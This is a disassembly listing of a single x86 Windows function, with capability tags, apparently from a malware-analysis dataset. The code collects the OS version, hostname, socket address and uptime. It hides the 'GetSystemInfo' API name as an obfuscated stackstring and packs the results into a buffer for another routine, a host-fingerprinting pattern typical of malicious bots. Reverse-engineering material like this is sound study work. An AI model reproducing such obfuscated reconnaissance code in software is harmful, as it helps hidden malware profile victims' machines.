Function at 0x40d442
Capabilities:
Check os version
Contain obfuscated stackstrings
Get hostname
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c4
and byte [ebp - 0x2aa], 0
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
lea eax, [ebp - 0x394]
mov edi, 0x9c
push eax
mov byte [ebp - 0x398], 0x66
mov dword [ebp - 0x394], edi
call esi
lea eax, [ebp - 0x5c4]
push 0x100
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
push 0x10
lea eax, [ebp - 0x24]
pop ebx
push ebx
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], ebx
push eax
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp + 0xc]
push dword [eax + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
lea eax, [ebp - 0x20]
push 4
push eax
lea eax, [ebp - 0x2e0]
push eax
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x5c4]
push 0x32
push eax
lea eax, [ebp - 0x2dc]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0x18
call fcn.0040bb17
mov dword [ebp - 0x2f8], eax
lea eax, [ebp - 0xe4]
push eax
mov dword [ebp - 0xe4], edi
call esi
cmp dword [ebp - 0xe0], 5
mov edi, 0x41b1f4
jne 0x40d523
cmp dword [ebp - 0xdc], 0
jne 0x40d523
lea eax, [ebp - 0x2f4]
push 0x41b6d0
push eax
call dword [0x41e978]
jmp 0x40d59a
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
and byte [ebp - 3], 0
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x47
push eax
push str.KERNEL32.dll
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x79
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x6d
mov byte [ebp - 7], 0x49
mov byte [ebp - 6], 0x6e
mov byte [ebp - 5], 0x66
mov byte [ebp - 4], 0x6f
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
lea ecx, [ebp - 0x48]
push ecx
call eax
push str.wsprintfA
push str.USER32.dll
call esi
push eax
call ebx
push dword [ebp - 0x34]
lea ecx, [ebp - 0x2f4]
push edi
push ecx
call eax
add esp, 0xc
call fcn.0040d40d
push dword [ebp + 0x14]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
mov byte [ebp - 0x2aa], al
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2a8], eax
lea eax, [ebp - 0x2a4]
push 0x41c424
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x272]
push 0x41c420
push eax
call dword [0x41e978]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp + 0x10], eax
mov ebx, 0x5265c00
cdq
mov ecx, ebx
idiv ecx
push eax
lea eax, [ebp - 0x460]
push edi
push eax
call esi
mov eax, dword [ebp + 0x10]
cdq
idiv ebx
mov ebx, 0x36ee80
mov ecx, ebx
mov eax, edx
mov dword [ebp + 0x10], edx
cdq
idiv ecx
push eax
lea eax, [ebp - 0x4c4]
push edi
push eax
call esi
mov eax, dword [ebp + 0x10]
mov ecx, 0xea60
cdq
idiv ebx
mov eax, edx
cdq
idiv ecx
push eax
lea eax, [ebp - 0x3fc]
push edi
push eax
call esi
lea eax, [ebp - 0x3fc]
push eax
lea eax, [ebp - 0x4c4]
push eax
lea eax, [ebp - 0x460]
push eax
lea eax, [ebp - 0x263]
push 0x41c414
push eax
call esi
call fcn.0040bb8f
push eax
lea eax, [ebp - 0x137]
push eax
call sub.MSVCRT.dll_strcpy
mov ecx, dword [ebp + 0xc]
add esp, 0x40
lea eax, [ebp - 0x398]
push 0x2b4
push eax
call fcn.00402bae
pop edi
pop esi
pop ebx
leave
ret